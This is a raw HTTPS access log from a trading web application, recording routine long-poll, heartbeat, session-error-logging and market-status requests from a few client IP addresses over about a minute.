[09/Jan/2026:11:47:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930731796 HTTP/1.1" -
[09/Jan/2026:11:47:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:11:47:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930732916 HTTP/1.1" -
[09/Jan/2026:11:47:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930733312 HTTP/1.1" -
[09/Jan/2026:11:47:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930733124 HTTP/1.1" -
[09/Jan/2026:11:47:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930735625 HTTP/1.1" -
[09/Jan/2026:11:47:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930735957 HTTP/1.1" -
[09/Jan/2026:11:47:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930736847 HTTP/1.1" -
[09/Jan/2026:11:47:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930737978 HTTP/1.1" -
[09/Jan/2026:11:47:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930738530 HTTP/1.1" -
[09/Jan/2026:11:47:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930738195 HTTP/1.1" -
[09/Jan/2026:11:47:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930740683 HTTP/1.1" -
[09/Jan/2026:11:47:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930741023 HTTP/1.1" -
[09/Jan/2026:11:47:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930741882 HTTP/1.1" -
[09/Jan/2026:11:47:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930743038 HTTP/1.1" -
[09/Jan/2026:11:47:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930743763 HTTP/1.1" -
[09/Jan/2026:11:47:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930743221 HTTP/1.1" -
[09/Jan/2026:11:47:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930745823 HTTP/1.1" -
[09/Jan/2026:11:47:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930746083 HTTP/1.1" -
[09/Jan/2026:11:47:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930746904 HTTP/1.1" -
[09/Jan/2026:11:47:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930748105 HTTP/1.1" -
[09/Jan/2026:11:48:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930748978 HTTP/1.1" -
[09/Jan/2026:11:48:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930748257 HTTP/1.1" -
[09/Jan/2026:11:48:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930750935 HTTP/1.1" -
[09/Jan/2026:11:48:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930751143 HTTP/1.1" -
[09/Jan/2026:11:48:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930751947 HTTP/1.1" -
[09/Jan/2026:11:48:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930753166 HTTP/1.1" -
[09/Jan/2026:11:48:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930754103 HTTP/1.1" -
[09/Jan/2026:11:48:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930753321 HTTP/1.1" -
[09/Jan/2026:11:48:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930756073 HTTP/1.1" -
[09/Jan/2026:11:48:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930756212 HTTP/1.1" -
[09/Jan/2026:11:48:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930756980 HTTP/1.1" -
[09/Jan/2026:11:48:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930758224 HTTP/1.1" -
[09/Jan/2026:11:48:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930759392 HTTP/1.1" -
[09/Jan/2026:11:48:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930758397 HTTP/1.1" -
[09/Jan/2026:11:48:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930761215 HTTP/1.1" -
[09/Jan/2026:11:48:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930761283 HTTP/1.1" -
[09/Jan/2026:11:48:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930762003 HTTP/1.1" -
[09/Jan/2026:11:48:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930763294 HTTP/1.1" -
[09/Jan/2026:11:48:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930764605 HTTP/1.1" -
[09/Jan/2026:11:48:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930763467 HTTP/1.1" -
[09/Jan/2026:11:48:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930766258 HTTP/1.1" -
[09/Jan/2026:11:48:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930766339 HTTP/1.1" -
[09/Jan/2026:11:48:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930767027 HTTP/1.1" -
[09/Jan/2026:11:48:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930768358 HTTP/1.1" -
[09/Jan/2026:11:48:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930769851 HTTP/1.1" -
[09/Jan/2026:11:48:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930768541 HTTP/1.1" -
[09/Jan/2026:11:48:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930771412 HTTP/1.1" -
[09/Jan/2026:11:48:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930771400 HTTP/1.1" -
[09/Jan/2026:11:48:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930772051 HTTP/1.1" -
[09/Jan/2026:11:48:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930773420 HTTP/1.1" -
[09/Jan/2026:11:48:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930773599 HTTP/1.1" -
[09/Jan/2026:11:48:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930774970 HTTP/1.1" -
[09/Jan/2026:11:48:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930776467 HTTP/1.1" -
[09/Jan/2026:11:48:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930776554 HTTP/1.1" -
[09/Jan/2026:11:48:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930777087 HTTP/1.1" -
[09/Jan/2026:11:48:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930778487 HTTP/1.1" -
